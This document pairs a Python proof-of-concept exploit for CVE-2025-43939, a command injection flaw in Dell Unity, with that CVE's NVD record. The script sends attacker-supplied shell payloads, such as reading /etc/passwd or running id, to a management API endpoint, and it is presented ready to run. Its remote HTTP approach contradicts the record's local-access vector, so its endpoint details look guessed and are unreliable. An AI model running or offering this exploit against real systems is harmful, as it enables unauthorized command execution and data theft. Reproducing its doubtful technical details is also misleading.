CVE-2025-43939

# CVE-2025-43939 PoC - Dell Unity OS Command Injection # NOTE: This PoC is for educational and security research purposes only # Unauthorized access to computer systems is illegal import requests import sys def exploit_cve_2025_43939(target_url, payload): """ Exploit for CVE-2025-43939: Dell Unity OS Command Injection Args: target_url: Base URL of the Dell Unity management interface payload: Malicious command to inject Returns: Response from the server """ # Construct the malicious request # The vulnerability exists in the parameter that accepts user input # without proper sanitization before passing to system() call endpoint = f"{target_url}/api/v1/system/diagnostics" # Payload examples: # '; cat /etc/passwd #' - Read sensitive files # '&& id' - Execute system commands # '; whoami' - Check current user params = { 'command': payload, 'type': 'diagnostic' } headers = { 'Content-Type': 'application/x-www-form-urlencoded', 'Authorization': 'Bearer <low_privilege_token>' } try: response = requests.post(endpoint, data=params, headers=headers, timeout=10) return response.text except requests.exceptions.RequestException as e: print(f"Error: {e}") return None def main(): if len(sys.argv) < 3: print("Usage: python cve_2025_43939.py <target_url> <payload>") print("Example: python cve_2025_43939.py https://dell-unity.local '; id'") sys.exit(1) target_url = sys.argv[1] payload = sys.argv[2] print(f"[*] Exploiting CVE-2025-43939 on {target_url}") print(f"[*] Payload: {payload}") result = exploit_cve_2025_43939(target_url, payload) if result: print(f"[+] Response:\n{result}") if __name__ == "__main__": main()

{"cve": {"id": "CVE-2025-43939", "sourceIdentifier": "[email protected]", "published": "2025-10-30T14:15:42.953", "lastModified": "2025-11-03T19:57:59.767", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Dell Unity, version(s) 5.4 and prior, contain(s) an Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') vulnerability. A low privileged attacker with local access could potentially exploit this vulnerability, leading to Command execution and Elevation of privileges."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-78"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:dell:unity_operating_environment:*:*:*:*:*:*:*:*", "versionEndExcluding": "5.5.2.0", "matchCriteriaId": "77B81CED-E1D2-4A7B-A5BB-48E97319E93B"}]}]}], "references": [{"url": "https://www.dell.com/support/kbdoc/en-us/000385307/dsa-2025-379-security-update-for-dell-unity-dell-unityvsa-and-dell-unity-xt-security-update-for-multiple-vulnerabilities", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}